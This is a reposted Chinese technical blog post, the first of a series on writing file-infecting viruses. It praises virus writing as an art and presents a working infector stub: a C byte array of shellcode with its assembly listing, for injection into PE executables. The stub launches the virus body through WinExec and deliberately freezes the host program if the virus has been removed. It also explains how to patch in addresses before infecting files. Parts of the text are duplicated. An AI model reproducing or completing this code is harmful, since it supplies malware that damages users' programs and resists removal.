关于感染型病毒的那些事(一)
2010-07-01 12:31
417 查看
在我看来,感染型病毒才是真正称得上为病毒,因为感染型病毒的手动清除比较困难,大学的时候,帮同学杀毒最烦躁的就是碰上感染型的病毒,除非写一个程序自动处理,不然手动清除是相当麻烦的.当然我所谓的真正病毒主要是在我看来,能够轻易用手工清除的病毒都不是好的病毒.现在病毒制造者追求的是快速的传播速度,而忽略了病毒的"顽固性",一个木马简单的就使用一个启动的注册表项显然在清理上太方便了,甚至可以进安全模式删了注册表项,连病毒尸体都可以无视,这样就已经不能发挥作用了.
随着对PE格式的深入研究和高级语言的发展,编写感染型的病毒已经不再是只能用asm才能做到的.高级语言如VC同样也可以完成,不过缺点就是编译出来的病毒体太大.也是,现在的硬件水平,人们已经不再在乎这10+KB的空间.但是,病毒编写是一种艺术,这种艺术在于它的隐蔽性,短短的注入100byte,利用程序本身的空隙不增加程序的长度是这种艺术的体现.当然,代码长度的限制也必然导致注入代码功能的减少.一个星期前写了一个感染型病毒的雏形,写下来当作是一种复习吧.
注入感染:
既然PE程序本身存在的空白可利用空间不大.那么采取一种折中的方式,在感染PE文件时,注入病毒文件的启动代码,这样就节省了大部分空间,当检查到病毒实体被清除后,可以采取破坏宿主程序运行流程的方式进行"示威"
注入代码就是下面_asm中汇编代码的对应的机器码.
这部分注入代码的运行流程是:安装SEH->WinExec()->判断运行是否成功->不成功则进入死循环,成功则返回宿主执行
安装SEH主要是为了保证注入感染后程序的健壮性,因为WinExec()的地址是硬编码进去,如果换了系统容易导致异常,安装SEH后如果出现异常也可以返回宿主代码执行.11223344H是占位地址,需要改成相应的地址.这里使用WinExec而不用CreateProcess主要是后者的函数参数太多,使用WinExec的实质也是调用CreateProcess,但是参数只有2个,节省了10多个字节的空间.并且由于我们已经安装了SEH,也不怕Winexec产生异常.
有了上面的注入代码,搜集必要地址信息完善注入代码后就可以进行感染.
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/GaA_Ra/archive/2010/06/27/5697579.aspx
随着对PE格式的深入研究和高级语言的发展,编写感染型的病毒已经不再是只能用asm才能做到的.高级语言如VC同样也可以完成,不过缺点就是编译出来的病毒体太大.也是,现在的硬件水平,人们已经不再在乎这10+KB的空间.但是,病毒编写是一种艺术,这种艺术在于它的隐蔽性,短短的注入100byte,利用程序本身的空隙不增加程序的长度是这种艺术的体现.当然,代码长度的限制也必然导致注入代码功能的减少.一个星期前写了一个感染型病毒的雏形,写下来当作是一种复习吧.
注入感染:
既然PE程序本身存在的空白可利用空间不大.那么采取一种折中的方式,在感染PE文件时,注入病毒文件的启动代码,这样就节省了大部分空间,当检查到病毒实体被清除后,可以采取破坏宿主程序运行流程的方式进行"示威"
unsigned char InjectCode[] = { 0x68, 0x44, 0x33, 0x22, 0x11, 0x33, 0xC0, 0x64, 0xFF, 0x30, 0x64, 0x89, 0x20, 0x50, 0x68, 0x44, 0x33, 0x22, 0x11, 0xB8, 0x44, 0x33, 0x22, 0x11, 0xFF, 0xD0, 0x3C, 0x02, 0x74, 0x1E, 0x33, 0xC0, 0x64, 0x8F, 0x00, 0x5A, 0x68, 0x44, 0x33, 0x22, 0x11, 0xC3, 0x68, 0x44, 0x33, 0x22, 0x11, 0x8B, 0x44, 0x24, 0x0A, 0x8F, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xC3, 0xEB, 0xFE }; /*********************************************** InjectCode[] = __asm { PUSH 11223344H ;安装SEH XOR EAX,EAX PUSH DWORD PTR FS:[EAX] MOV DWORD PTR FS:[EAX],ESP PUSH EAX ;uCmdShow PUSH 11223344H ;lpCmdLine MOV EAX,11223344H ;offset aWinExec CALL EAX ;Call WinExec CMP AL,2 ;判断病毒存在与否 JE LABEL ;不存在则跳去死循环 XOR EAX,EAX ;卸载SEH POP DWORD PTR FS:[EAX] POP EDX PUSH 11223344H ;宿主程序原OEP RETN ;返回执行 PUSH 11223344H ;SEH异常处理程序 MOV EAX,DWORD PTR [ESP+10] POP DWORD PTR [EAX+0B8H] ;将宿主OEP作为安全地址返回 XOR EAX,EAX RETN LABEL: JMP LABEL ;JMP -1(OxEBFE) } ************************************************/
注入代码就是下面_asm中汇编代码的对应的机器码.
这部分注入代码的运行流程是:安装SEH->WinExec()->判断运行是否成功->不成功则进入死循环,成功则返回宿主执行
安装SEH主要是为了保证注入感染后程序的健壮性,因为WinExec()的地址是硬编码进去,如果换了系统容易导致异常,安装SEH后如果出现异常也可以返回宿主代码执行.11223344H是占位地址,需要改成相应的地址.这里使用WinExec而不用CreateProcess主要是后者的函数参数太多,使用WinExec的实质也是调用CreateProcess,但是参数只有2个,节省了10多个字节的空间.并且由于我们已经安装了SEH,也不怕Winexec产生异常.
有了上面的注入代码,搜集必要地址信息完善注入代码后就可以进行感染.
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/GaA_Ra/archive/2010/06/27/5697579.aspx
相关文章推荐
- 关于感染型病毒的那些事(二)
- 关于感染型病毒的那些事
- 关于感染型病毒的那些事
- 关于感染型病毒的那些事(二)
- 关于感染型病毒的那些事(二)
- 关于感染型病毒的那些事(二)
- 关于感染型病毒的那些事(三)
- 关于感染型病毒的那些事(三)
- 关于感染型病毒的那些事(一)
- 关于感染型病毒的那些事(三)
- 关于感染型病毒的那些事(三)
- 关于感染型病毒的那些事(三)
- 关于XDC的那些破事
- 关于FormData的那些事(转载)
- css关于定位那些事情
- 关于两IT男将电信天翼自带路由换成TPLink路由器的那些事
- laravel的关于lockForUpdate的那些事情
- 关于Web安全的那些事(XSS攻击)
- 关于dbUtils升级的那些坑
- 关于tableView你不知道的那些事